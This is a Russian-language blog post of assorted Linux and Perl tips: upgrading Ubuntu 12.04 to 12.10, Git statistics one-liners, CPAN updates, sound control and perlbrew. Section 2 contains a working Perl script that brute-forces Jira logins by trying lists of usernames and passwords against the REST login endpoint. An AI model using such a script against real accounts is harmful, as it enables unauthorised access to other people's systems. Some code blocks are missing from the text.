Мини заметки — выпуск 8
12 ноября 2012
В этом выпуске: обновление Ubuntu 12.04 до 12.10, исправление кодировки в mp3-тэгах, определение своей производительности с помощью Git, обновление CPAN-модулей, брутфорс Jira, и не только. Предыдущие выпуски: седьмой, шестой, пятый, четвертый.
1. Как обновить Ubuntu 12.04 до 12.10
Обновляется Ubuntu очень просто:
Переменная окружения LANGUAGE нужна, чтобы избежать такой вот ошибки:
Подробности описаны здесь: http://www.linux.org.ru/forum/talks/8358283.
Обновление занимает довольно много времени. Убедиться, что система действительно обновилась, можно, например, так:
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=12.10
DISTRIB_CODENAME=quantal
DISTRIB_DESCRIPTION="Ubuntu 12.10"
Как видите, все очень просто, танцевать с бубном почти не приходится :)
2. «Вспоминаем» пароль от Jira
Как-то мне не удавалось зайти в Jira, в результате чего появился такой скрипт:
use strict;
use warnings;
use LWP;
use LWP::Protocol::https;
use JSON::XS;
my $ua = LWP::UserAgent->new();
for my $login (qw/user1 user2 userN/) {
for my $password (qw/password1 password2 passwordN/) {
my $res = $ua->post(
'https://jira.example.ru/rest/gadget/1.0/login', {
os_username => $login,
os_password => $password,
os_captcha => '',
});
if($res->is_success) {
my $json = decode_json($res->decoded_content);
if(defined $json->{loginSucceeded}) {
print "$login:$password:$json->{loginSucceeded}\n";
exit if $json->{loginSucceeded};
} else {
die 'loginSucceeded - undefined!';
}
} else {
die 'ERROR!';
}
}
}
Только учтите, что после какого-то количества неудачных попыток начинает показываться капча и скрипт становится бесполезным.
3. Подсчет статистики выполненных тасков в Git
Если вам вдруг стало интересно, насколько больше или меньше тасков вы делаете по сравнению со своими коллегами, воспользуйтесь следующим однострочником:
perl -MDate::Parse -e 'while(<STDIN>){chomp; $t = `git log -1 $_`;
($a) = $t =~ /Author: .*?<([^>]+)>/; ($d) = $t =~ /Date:\s+(.*)/;
($m, $y) = (localtime str2time($d))[4,5]; $y+=1900; $m++;
$cnt{sprintf "%04d-%02d", $y, $m}{$a}++; }
for $d (sort keys %cnt) {
print "== $d ==\n"; print "$_ => $cnt{$d}{$_}\n"
for sort { $cnt{$d}{$b} <=> $cnt{$d}{$a} } keys %{$cnt{$d}}
}'
Само собой разумеется, все эти метрики — это так, чисто поржать или потроллить.
4. Как получить список файлов, измененных в бранче
А вот еще один однострочник:
`git merge-base iteration-2012-12-21 master` \
iteration-2012-12-21 \
| grep -v 'files changed' \
| cut -d ' ' -f 2
Как несложно заметить, он предназначен для получения списка файлов, измененных в некотором бранче. Этот список не так то-просто получить, если вы собираете в отдельном бранче итерацию.
5. Получаем полный список CPAN-модулей
Список всех модулей на CPAN можно получить так:
На момент написания этих строк CPAN содержал более 125 тысяч модулей.
6. Обновление CPAN-модулей
Допустим, вам зачем-то захотелось обновить все установленные CPAN-модули. Устанавливаем утилиту cpan-outdated:
Смотрим список устаревших модулей:
Делаем обновление:
Надо ли этим пользоваться — вопрос, как по мне, спорный.
7. Управление звуком из консоли в Linux и FreeBSD
В Linux можно регулировать звук из консоли командой amixer:
Еще можно делать так:
amixer set Master unmute
… но проблема в том, что на момент написания этих строк unmute в Ubuntu не работал (см описание бага). Если вы случайно замьютили звук и не можете его разомьютить, вам может помочь следующий скрипт:
use strict;
use warnings;
for (qw/Master Headphone PCM Front Surround Center LFE Side/) {
system("amixer -c 0 set $_ playback unmute");
}
А во FreeBSD есть команда mixer:
Все подробности, как обычно, в манах.
8. Форматирование результатов тестирования в Perl
Если у вас есть код на Perl, покрытый модульными тестами, вы можете генерировать отчеты о прогоне тестов в формате HTML с помощью TAP::Formatter::HTML:
… или в формате xUnit с помощью модуля TAP::Formatter::JUnit:
Последний прием может пригодится, если вы используете Jenkins.
9. Как исправить кодировку в mp3-тэгах
Самый простой способ, на мой взгляд, следующий:
mid3iconv -e cp1251 ~/mp3/*
Некоторые другие варианты описаны здесь.
10. Использование perlbrew
Иногда для тех или иных целей требуется конкретная версия Perl, которая, как на зло, не совпадает с версией, установленной в системе. В таких случаях на помощь приходит утилита perlbrew.
Установка:
perlbrew init
Ставим нужную версию Perl (компиляция из исходников займет какое-то время):
Список доступных версий Perl:
Создаем новый набор библиотек (например, под определенный проект):
Меняем текущее окружение:
… и запускаем в нем что-нибудь:
Perlbrew может пригодится, если вам нужна более свежая версия Perl, а обновить его не получается (говорят, это не так-то просто сделать в CentOS). Или если вы хотите протестировать свой код на совместимость с различными версиями Perl и CPAN-модулей. Или, например, если по каким-то причинам вы хотите организовать «песочницы» для CPAN-модулей под каждый из проектов, работающих на вашей машине.
Дополнение: Мини заметки — выпуск 9
Метки: Всячина.
Вы можете прислать свой комментарий мне на почту, или воспользоваться комментариями в Telegram-группе.